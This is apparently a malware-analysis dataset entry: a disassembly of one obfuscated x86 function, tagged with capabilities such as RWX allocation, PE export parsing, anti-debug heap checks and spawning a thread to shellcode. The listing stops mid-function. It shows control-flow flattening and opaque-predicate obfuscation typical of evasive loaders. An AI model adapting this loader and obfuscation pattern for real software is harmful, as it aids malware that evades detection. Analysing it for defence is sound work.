Function at 0x404b70
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Authenticate hmac
Check os version
Create thread
Encode data using base64
Get number of processors
Get process heap flags
Inspect section memory permissions
Parse pe header
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x83d8c
call fcn.004971c0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x831e8], eax
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x831e0], 0xf25f32a9
mov eax, dword [ebp - 0x831e0]
mov dword [ebp - 0x831ec], eax
sub eax, 0x80ba4d26
je 0x41fc56
jmp 0x404bb9
mov eax, dword [ebp - 0x831ec]
sub eax, 0x81185b0f
je 0x40bc07
jmp 0x404bcf
mov eax, dword [ebp - 0x831ec]
sub eax, 0x815b237c
je 0x406acd
jmp 0x404be5
mov eax, dword [ebp - 0x831ec]
sub eax, 0x83741007
je 0x40ad6c
jmp 0x404bfb
mov eax, dword [ebp - 0x831ec]
sub eax, 0x8567cdce
je 0x42b3bd
jmp 0x404c11
mov eax, dword [ebp - 0x831ec]
sub eax, 0x892d289f
je 0x42b68c
jmp 0x404c27
mov eax, dword [ebp - 0x831ec]
sub eax, 0x8933c4ba
je 0x42359e
jmp 0x404c3d
mov eax, dword [ebp - 0x831ec]
sub eax, 0x89e00104
je 0x4138f3
jmp 0x404c53
mov eax, dword [ebp - 0x831ec]
sub eax, 0x89efc873
je 0x40ee3f
jmp 0x404c69
mov eax, dword [ebp - 0x831ec]
sub eax, 0x8a446dc2
je 0x42401f
jmp 0x404c7f
mov eax, dword [ebp - 0x831ec]
sub eax, 0x8a7b1c42
je 0x40e889
jmp 0x404c95
mov eax, dword [ebp - 0x831ec]
sub eax, 0x8a83db0e
je 0x41598b
jmp 0x404cab
mov eax, dword [ebp - 0x831ec]
sub eax, 0x8cf2e391
je 0x41a692
jmp 0x404cc1
mov eax, dword [ebp - 0x831ec]
sub eax, 0x8e7cc9c1
je 0x41d85e
jmp 0x404cd7
mov eax, dword [ebp - 0x831ec]
sub eax, 0x8e7fef72
je 0x40c7fc
jmp 0x404ced
mov eax, dword [ebp - 0x831ec]
sub eax, 0x8ec35479
je 0x411755
jmp 0x404d03
mov eax, dword [ebp - 0x831ec]
sub eax, 0x8f8b0e22
je 0x4267ed
jmp 0x404d19
mov eax, dword [ebp - 0x831ec]
sub eax, 0x8fe3adc4
je 0x42b6d7
jmp 0x404d2f
mov eax, dword [ebp - 0x831ec]
sub eax, 0x9177fcde
je 0x42b62b
jmp 0x404d45
mov eax, dword [ebp - 0x831ec]
sub eax, 0x938b8dd5
je 0x42b6b9
jmp 0x404d5b
mov eax, dword [ebp - 0x831ec]
sub eax, 0x93bdde3a
je 0x407744
jmp 0x404d71
mov eax, dword [ebp - 0x831ec]
sub eax, 0x940345cf
je 0x42b6aa
jmp 0x404d87
mov eax, dword [ebp - 0x831ec]
sub eax, 0x96a842c2
je 0x4114c4
jmp 0x404d9d
mov eax, dword [ebp - 0x831ec]
sub eax, 0x96ded714
je 0x4157bc
jmp 0x404db3
mov eax, dword [ebp - 0x831ec]
sub eax, 0x97abde5a
je 0x4147b5
jmp 0x404dc9
mov eax, dword [ebp - 0x831ec]
sub eax, 0x9a6b6164
je 0x421539
jmp 0x404ddf
mov eax, dword [ebp - 0x831ec]
sub eax, 0x9be6ee20
je 0x429b1b
jmp 0x404df5
mov eax, dword [ebp - 0x831ec]
sub eax, 0x9e4eaca9
je 0x40c822
jmp 0x404e0b
mov eax, dword [ebp - 0x831ec]
sub eax, 0x9ed484eb
je 0x4077bc
jmp 0x404e21
mov eax, dword [ebp - 0x831ec]
sub eax, 0x9f1787f0
je 0x4076e3
jmp 0x404e37
mov eax, dword [ebp - 0x831ec]
sub eax, 0x9fea78bf
je 0x41163a
jmp 0x404e4d
mov eax, dword [ebp - 0x831ec]
sub eax, 0xa32d803f
je 0x42b67d
jmp 0x404e63
mov eax, dword [ebp - 0x831ec]
sub eax, 0xa37e43f7
je 0x42b66e
jmp 0x404e79
mov eax, dword [ebp - 0x831ec]
sub eax, 0xa510f057
je 0x41b6ac
jmp 0x404e8f
mov eax, dword [ebp - 0x831ec]
sub eax, 0xa57f0c4c
je 0x428dae
jmp 0x404ea5
mov eax, dword [ebp - 0x831ec]
sub eax, 0xaa86372e
je 0x40a0f2
jmp 0x404ebb
mov eax, dword [ebp - 0x831ec]
sub eax, 0xad3716dc
je 0x419853
jmp 0x404ed1
mov eax, dword [ebp - 0x831ec]
sub eax, 0xadc41a6a
je 0x4157e6
jmp 0x404ee7
mov eax, dword [ebp - 0x831ec]
sub eax, 0xaf005231
je 0x42b655
jmp 0x404efd
mov eax, dword [ebp - 0x831ec]
sub eax, 0xb065c753
je 0x40adc4
jmp 0x404f13
mov eax, dword [ebp - 0x831ec]
sub eax, 0xb24f4aca
je 0x4102f0
jmp 0x404f29
mov eax, dword [ebp - 0x831ec]
sub eax, 0xb28d254f
je 0x41935b
jmp 0x404f3f
mov eax, dword [ebp - 0x831ec]
sub eax, 0xb303b991
je 0x42b1ae
jmp 0x404f55
mov eax, dword [ebp - 0x831ec]
sub eax, 0xb3305d15
je 0x41ee9a
jmp 0x404f6b
mov eax, dword [ebp - 0x831ec]
sub eax, 0xb33a40c3
je 0x42b3e2
jmp 0x404f81
mov eax, dword [ebp - 0x831ec]
sub eax, 0xb46437d1
je 0x427ad5
jmp 0x404f97
mov eax, dword [ebp - 0x831ec]
sub eax, 0xb6b91b98
je 0x411706
jmp 0x404fad
mov eax, dword [ebp - 0x831ec]
sub eax, 0xb76cf102
je 0x41172d
jmp 0x404fc3
mov eax, dword [ebp - 0x831ec]
sub eax, 0xb80758fe
je 0x41bab7
jmp 0x404fd9
mov eax, dword [ebp - 0x831ec]
sub eax, 0xb8b0d3a7
je 0x42403d
jmp 0x404fef
mov eax, dword [ebp - 0x831ec]
sub eax, 0xb8b4edfa
je 0x40da28
jmp 0x405005
mov eax, dword [ebp - 0x831ec]
sub eax, 0xb97cda3d
je 0x411a78
jmp 0x40501b
mov eax, dword [ebp - 0x831ec]
sub eax, 0xb9b42f21
je 0x4240a0
jmp 0x405031
mov eax, dword [ebp - 0x831ec]
sub eax, 0xba4f0bf6
je 0x424150
jmp 0x405047
mov eax, dword [ebp - 0x831ec]
sub eax, 0xbf449fb5
je 0x41180c
jmp 0x40505d
mov eax, dword [ebp - 0x831ec]
sub eax, 0xbf4f4121
je 0x4241ee
jmp 0x405073
mov eax, dword [ebp - 0x831ec]
sub eax, 0xbfe814b6
je 0x4267de
jmp 0x405089
mov eax, dword [ebp - 0x831ec]
sub eax, 0xbfea4ec2
je 0x42b1bd
jmp 0x40509f
mov eax, dword [ebp - 0x831ec]
sub eax, 0xc1c3f6ab
je 0x40d9e1
jmp 0x4050b5
mov eax, dword [ebp - 0x831ec]
sub eax, 0xc3199c8c
je 0x40c9f2
jmp 0x4050cb
mov eax, dword [ebp - 0x831ec]
sub eax, 0xc39f1d63
je 0x40aa15
jmp 0x4050e1
mov eax, dword [ebp - 0x831ec]
sub eax, 0xc5777b84
je 0x4137e1
jmp 0x4050f7
mov eax, dword [ebp - 0x831ec]
sub eax, 0xc5bc7737
je 0x42b69b
jmp 0x40510d
mov eax, dword [ebp - 0x831ec]
sub eax, 0xc7118db4
je 0x429b0c
jmp 0x405123
mov eax, dword [ebp - 0x831ec]
sub eax, 0xc7823dca
je 0x410548
mov dword [ebp - 0x83178], 1
mov eax, dword [0x530348]
mov ecx, dword [0x530344]
xor edx, edx
sub edx, 0xb1bfa465
sub edx, 0x164150d3
add edx, 0xb1bfa465
xor esi, esi
sub esi, 1
add edx, esi
add edx, 0x4206facb
add edx, 0x164150d3
sub edx, 0x4206facb
xor esi, esi
sub esi, eax
add esi, 0
mov edi, 0x13040dbc
add edi, 0
sub edi, edx
sub edi, 0x13040dbc
xor edx, edx
sub edx, edi
sub esi, edx
xor edx, edx
sub edx, 0x7bb0edad
sub edx, esi
add edx, 0x7bb0edad
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl al
mov byte [ebp - 0x83201], al
mov cl, ah
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ah
and al, dl
or cl, al
mov bh, 1
xor bh, 1
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov ch, 1
xor ch, 1
and ch, 0
mov cl, 1
xor cl, 0
mov dl, cl
and dl, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, dl
or al, cl
xor ch, al
mov al, ah
xor al, 0xff
mov dl, ch
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
mov dh, 1
xor dh, 1
mov cl, dl
xor cl, dh
and cl, dl
mov byte [ebp - 0x83206], cl
mov dl, 1
xor dl, 1
xor ch, 0xff
mov cl, 1
xor cl, 1
or dl, ch
or cl, 1
xor dl, 0xff
and dl, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
mov dh, cl
and dh, 0xff
and bh, ch
mov byte [ebp - 0x83208], bh
mov bh, bl
and bh, 0xff
and al, ch
mov byte [ebp - 0x83207], al
mov al, byte [ebp - 0x83208]
or dh, al
mov al, byte [ebp - 0x83207]
or bh, al
mov al, byte [ebp - 0x83206]
xor dh, bh
or cl, bl
xor cl, 0xff
or ch, 1
and cl, ch
or dh, cl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x83205], ch
mov bl, dl
xor bl, 0xff
mov cl, 1
xor cl, 1
and ch, 0xff
and al, cl
mov bh, bl
and bh, 0xff
and dl, cl
or ch, al
mov al, byte [ebp - 0x83205]
or bh, dl
mov dl, byte [ebp - 0x83201]
xor ch, bh
or al, bl
xor al, 0xff
or cl, 1
and al, cl
or ch, al
mov al, dh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and dh, bl
mov cl, ch
xor cl, 0xff
and cl, 0
and ch, bl
or al, dh
or cl, ch
xor al, cl
mov byte [ebp - 0x831f6], al
mov ch, dl
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
mov dh, dl
and dh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov cl, 1
xor cl, 1
xor ch, 0xff
mov al, 1
xor al, 0
or cl, ch
or al, 0
xor cl, 0xff
and cl, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
xor dl, 0xff
xor ch, 0xff
mov al, 1
xor al, 0
or dl, ch
or al, 0
xor dl, 0xff
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x831f5], al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov al, 1
xor al, 0
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov dh, 1
xor dh, 0
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0
or dh, cl
mov cl, dh
xor cl, 0xff
xor cl, 0
and cl, 0
mov dl, 1
xor dl, 1
and dl, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or dl, bh
or ch, bl
xor dl, ch
xor dl, 0xff
mov bl, 1
xor bl, 0
mov ch, 1
xor ch, 0
or dl, bl
or ch, 0
xor dl, 0xff
and dl, ch
mov byte [ebp - 0x83202], dl
mov dl, 1
xor dl, 1
xor dh, 0xff
mov ch, 1
xor ch, 1
or dl, dh
or ch, 1
xor dl, 0xff
and dl, ch
mov ch, al
xor ch, 0xff
mov dh, cl
xor dh, 0xff
mov bh, 1
xor bh, 1
mov bl, ch
and bl, 0xff
and al, bh
mov byte [ebp - 0x83204], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x83203], al
mov al, byte [ebp - 0x83204]
and cl, bh
or bl, al
mov al, byte [ebp - 0x83203]
or al, cl
mov cl, byte [ebp - 0x83202]
xor bl, al
mov al, byte [ebp - 0x83201]
or ch, dh
mov dh, byte [ebp - 0x831f6]
xor ch, 0xff
or bh, 1
and ch, bh
or bl, ch
mov ch, cl
and ch, dl
xor cl, dl
or ch, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov bh, 1
xor bh, 1
and bl, bh
mov dl, ch
xor dl, 0xff
and dl, 0xff
and ch, bh
or cl, bl
or dl, ch
xor cl, dl
mov byte [ebp - 0x831f1], cl
mov bl, 1
xor bl, 0
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
or bl, cl
mov ch, dh
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
mov bh, dh
and bh, cl
mov dl, bl
xor dl, 0xff
and dl, 0
and bl, cl
mov cl, byte [ebp - 0x831f1]
or ch, bh
or dl, bl
xor ch, dl
xor dh, 0xff
mov dl, ch
xor dl, dh
and dl, ch
mov bl, cl
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
and cl, ch
or bl, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov bh, 1
xor bh, 1
mov ch, ah
and ch, bh
mov dh, bl
xor dh, 0xff
and dh, 0xff
and bl, bh
mov bh, byte [ebp - 0x831f1]
or cl, ch
mov ch, byte [ebp - 0x831f5]
or dh, bl
xor cl, dh
xor ah, 0xff
mov dh, cl
xor dh, ah
and dh, cl
mov bl, 1
xor bl, 0
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
or bl, cl
mov ah, ch
xor ah, 0xff
mov cl, bl
and cl, ah
xor bl, 0xff
mov ah, ch
and ah, bl
or cl, ah
xor cl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or cl, ch
or ah, 1
xor cl, 0xff
and cl, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and al, ch
or ah, al
mov ch, bh
xor ch, 0xff
and ch, 0
mov bl, 1
xor bl, 0
and bh, bl
mov al, 1
xor al, 1
and al, 0
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, 1
xor al, 1
and al, 1
mov bl, 1
xor bl, 1
and bl, 1
or al, bl
mov bh, ah
and bh, ch
xor ah, ch
or bh, ah
mov ah, al
and ah, 1
xor al, 1
or ah, al
mov ch, bh
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and bh, bl
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
xor ch, 0xff
xor ah, 0xff
mov al, 1
xor al, 1
or ch, ah
or al, 1
xor ch, 0xff
and ch, al
mov ah, dh
xor ah, 0xff
mov al, dl
xor al, ah
and al, dl
mov bl, dl
xor bl, 0xff
mov ah, dh
and ah, bl
xor dh, 0xff
and dl, dh
or ah, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov al, cl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov ah, cl
and ah, dh
or al, ah
mov byte [ebp - 0x831f8], al
mov dh, ch
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov bl, ch
and bl, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dh, bl
or al, ah
xor dh, al
mov byte [ebp - 0x831fa], dh
mov ah, 1
xor ah, 1
and ah, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 1
mov bl, 1
xor bl, 1
and bl, 0
and bh, 1
or ah, al
mov al, byte [ebp - 0x831f8]
or bl, bh
xor ah, bl
xor al, 0xff
mov bh, 1
xor bh, 1
mov bl, 1
xor bl, 1
or al, bh
or bl, 1
xor al, 0xff
and al, bl
xor cl, 0xff
mov bh, ah
xor bh, 0xff
mov bl, 1
xor bl, 0
or cl, bh
or bl, 0
xor cl, 0xff
and cl, bl
xor dh, 0xff
mov bh, 1
xor bh, 1
mov bl, 1
xor bl, 1
or dh, bh
or bl, 1
xor dh, 0xff
and dh, bl
mov byte [ebp - 0x831fd], dh
xor ch, 0xff
mov bl, ah
xor bl, 0xff
mov dh, 1
xor dh, 1
or ch, bl
or dh, 1
xor ch, 0xff
and ch, dh
mov byte [ebp - 0x831fe], ch
mov ch, al
xor ch, 0xff
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 0
mov bl, ch
and bl, 0
and al, dh
mov byte [ebp - 0x83200], al
mov al, bh
and al, 0
mov byte [ebp - 0x831ff], al
mov al, byte [ebp - 0x83200]
and cl, dh
or bl, al
mov al, byte [ebp - 0x831ff]
or al, cl
mov cl, byte [ebp - 0x831fe]
xor bl, al
mov al, byte [ebp - 0x831fd]
or ch, bh
xor ch, 0xff
or dh, 0
and ch, dh
or bl, ch
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x831f9], dh
mov bh, cl
xor bh, 0xff
mov ch, 1
xor ch, 1
and dh, 0xff
and al, ch
mov byte [ebp - 0x831fc], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x831fb], al
mov al, byte [ebp - 0x831fc]
and cl, ch
or dh, al
mov al, byte [ebp - 0x831fb]
or al, cl
mov cl, byte [ebp - 0x831fa]
xor dh, al
mov al, byte [ebp - 0x831f9]
or al, bh
xor al, 0xff
or ch, 1
and al, ch
or dh, al
mov bh, bl
xor bh, 0xff
and bh, 0
mov al, 1
xor al, 0
and bl, al
mov ch, dh
xor ch, 0xff
and ch, 0
and dh, al
mov al, byte [ebp - 0x831f8]
or bh, bl
or ch, dh
xor bh, ch
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or al, dh
or cl, ch
xor al, cl
mov cl, ah
and cl, 1
xor ah, 1
or cl, ah
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, al
and cl, 0xff
and bh, ah
mov dh, ch
and dh, 0xff
and bl, ah
or cl, bh
or dh, bl
xor cl, dh
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov ch, dl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or ch, al
mov al, 1
xor al, 0
xor ch, 0xff
mov ah, 1
xor ah, 1
or al, ch
or ah, 1
xor al, 0xff
and al, ah
mov ah, 1
xor ah, 0
and ah, 1
mov ch, 1
xor ch, 1
and ch, 0
or ah, ch
mov ch, ah
xor ch, 0xff
mov bh, dl
xor bh, ch
and bh, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov ch, cl
and ch, dh
or dl, ch
xor dl, 0xff
mov dh, 1
xor dh, 0
mov ch, 1
xor ch, 0
or dl, dh
or ch, 0
xor dl, 0xff
and dl, ch
mov byte [ebp - 0x831f7], dl
xor ah, 0xff
mov dl, cl
xor dl, ah
and dl, cl
mov ah, al
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov cl, ah
and cl, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or cl, al
mov al, byte [ebp - 0x831f7]
or bl, bh
xor cl, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or cl, ah
mov ch, al
xor ch, 0xff
mov bl, dl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, ch
and ah, 0
and al, dh
mov bh, bl
and bh, 0
and dl, dh
or ah, al
mov al, byte [ebp - 0x831f6]
or bh, dl
mov dl, byte [ebp - 0x831f5]
xor ah, bh
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or ah, ch
mov dh, cl
xor dh, 0xff
mov ch, ah
and ch, dh
xor ah, 0xff
and cl, ah
or ch, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
mov bl, al
and bl, dh
mov ah, 1
xor ah, 1
and ah, 0xff
and dh, 1
or cl, bl
or ah, dh
xor cl, ah
mov ah, dl
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and dl, dh
or ah, dl
mov dl, 1
xor dl, 0
and dl, 1
mov dh, 1
xor dh, 1
and dh, 0
or dl, dh
mov dh, 1
xor dh, 0
mov bl, cl
xor bl, dh
and bl, cl
xor al, 0xff
mov bh, dl
xor bh, 0xff
mov dh, 1
xor dh, 1
or al, bh
or dh, 1
xor al, 0xff
and al, dh
mov dh, 1
xor dh, 0
mov bh, ah
xor bh, dh
mov dh, byte [ebp - 0x831f5]
and bh, ah
mov byte [ebp - 0x831f4], bh
mov bh, dl
xor bh, 0xff
xor dh, bh
mov bh, byte [ebp - 0x831f5]
and dh, bh
mov bh, bl
and bh, al
xor bl, al
mov al, byte [ebp - 0x831f4]
or bh, bl
mov bl, al
and bl, dh
xor al, dh
or bl, al
mov al, bh
xor al, 0xff
and al, 0
mov byte [ebp - 0x831f3], al
mov al, 1
xor al, 0
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0
and bl, al
mov al, byte [ebp - 0x831f3]
or al, bh
or dh, bl
xor al, dh
mov bl, cl
and bl, ah
xor cl, ah
or bl, cl
mov cl, bl
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and bl, dh
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or cl, bl
or ah, dh
xor cl, ah
mov ah, dl
and ah, 0
xor dl, 0
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov cl, dh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, dh
and al, dl
or cl, al
mov ah, 1
xor ah, 0
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov dl, 1
xor dl, 0
and dl, 1
mov cl, 1
xor cl, 1
mov bl, cl
and bl, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, bl
or al, cl
xor dl, al
xor dh, 0xff
mov cl, dl
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
xor al, 0xff
mov bl, 1
xor bl, 0
mov cl, 1
xor cl, 0
or al, bl
or cl, 0
xor al, 0xff
and al, cl
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov cl, ah
and cl, dh
xor ah, dh
or cl, ah
mov byte [ebp - 0x831f2], cl
mov cl, al
xor cl, 0xff
mov bl, dl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, cl
and ah, 0
and al, dh
mov bh, bl
and bh, 0
and dl, dh
or ah, al
mov al, byte [ebp - 0x831f2]
or bh, dl
mov dl, byte [ebp - 0x831f1]
xor ah, bh
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or ah, cl
mov dh, al
xor dh, 0xff
mov cl, ah
and cl, dh
xor ah, 0xff
and al, ah
or cl, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov byte [ebp - 0x831ed], bh
mov bl, dl
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or bl, al
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
xor bh, 0xff
mov dh, 1
xor dh, 0
mov al, 1
xor al, 0
or bh, dh
or al, 0
xor bh, 0xff
and bh, al
mov al, ah
xor al, 0xff
xor al, 0
and al, 0
mov byte [ebp - 0x831f0], al
mov dh, 1
xor dh, 0
mov al, bl
xor al, dh
and al, bl
mov byte [ebp - 0x831ef], al
xor dl, 0xff
mov al, ah
xor al, 0xff
mov dh, 1
xor dh, 1
or dl, al
mov al, byte [ebp - 0x831f0]
or dh, 1
xor dl, 0xff
and dl, dh
mov dh, bh
and dh, al
xor bh, al
mov al, byte [ebp - 0x831ef]
or dh, bh
mov bh, al
and bh, dl
xor al, dl
or bh, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov al, 1
xor al, 1
and dh, al
mov byte [ebp - 0x831ee], dh
mov dh, bh
xor dh, 0xff
and dh, 0xff
and bh, al
mov al, byte [ebp - 0x831ee]
or dl, al
mov al, byte [ebp - 0x831ed]
or dh, bh
xor dl, dh
mov dh, al
and dh, bl
xor al, bl
or dh, al
mov al, dh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and dh, bl
or al, dh
mov dh, ah
and dh, 0
xor ah, 0
or dh, ah
xor dh, 0xff
mov ah, al
xor ah, dh
and ah, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
and al, dl
or ah, al
mov dl, cl
xor dl, 0xff
mov al, ah
and al, dl
xor ah, 0xff
mov dl, cl
and dl, ah
or al, dl
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, ch
xor al, 0xff
mov dl, ah
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x35d91817
mov ecx, 0xd6c7e3a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov dword [ebp - 0x831e0], 0x93bdde3a
mov dword [ebp - 0x831e4], 0
jmp 0x42c10b
mov ecx, dword [ebp - 0x831e4]
mov eax, dword [ebp - 0x83150]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x83188], eax
mov eax, 0x2c9a3d0e
mov ecx, 0xfc270d92
cmp dword [ebp - 0x83068], 0
cmove eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov ecx, dword [0x530348]
mov eax, dword [0x530344]
mov edx, ecx
add edx, 0xeda73d81
sub edx, 0x2f56995a
sub edx, 0xeda73d81
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x5d7d2543
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0xe9b483b7
add edx, 0x2f56995a
add edx, 0xe9b483b7
add edx, 0x3db988a4
add edx, 0x4ae964ab
sub edx, 0x3db988a4
xor esi, esi
sub esi, 1
add edx, esi
sub edx, 0x7cef22b6
sub edx, 0x4ae964ab
add edx, 0x7cef22b6
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x7fba77a
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x5d7d2543
add edx, esi
sub edx, 0xb3710c6a
sub edx, 0x7fba77a
add edx, 0xb3710c6a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl al
mov byte [ebp - 0x8323d], al
mov ch, dl
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov ah, dl
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, ah
or al, cl
xor ch, al
xor ch, 0xff
xor ch, 0
and ch, 0
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
and al, 0
or bl, al
mov al, bl
xor al, 0xff
mov dh, dl
xor dh, al
and dh, dl
mov al, 1
xor al, 1
and al, 1
mov bh, 1
xor bh, 1
mov cl, bh
and cl, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and bh, 1
or al, cl
mov cl, byte [ebp - 0x8323d]
or ah, bh
xor al, ah
mov ah, 1
xor ah, 0
mov bh, al
xor bh, ah
and bh, al
mov al, 1
xor al, 1
xor bl, 0xff
mov ah, 1
xor ah, 0
or al, bl
or ah, 0
xor al, 0xff
and al, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov ch, bh
xor ch, 0xff
mov byte [ebp - 0x8323a], ch
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
and ch, 0xff
and bh, dh
mov byte [ebp - 0x8323c], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x8323b], al
mov al, byte [ebp - 0x8323c]
or ch, al
mov al, byte [ebp - 0x8323b]
or bh, al
mov al, byte [ebp - 0x8323a]
xor ch, bh
or al, bl
xor al, 0xff
or dh, 1
and al, dh
or ch, al
mov dh, ah
xor dh, 0xff
mov al, ch
and al, dh
xor ch, 0xff
and ah, ch
or al, ah
mov byte [ebp - 0x83220], al
mov bh, cl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov ch, cl
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bh, ch
or al, ah
xor bh, al
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov al, cl
xor al, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or al, ch
or ah, 1
xor al, 0xff
and al, ah
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, ch
and ah, 0
and bh, dh
mov byte [ebp - 0x83239], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x83238], al
mov al, byte [ebp - 0x83239]
or ah, al
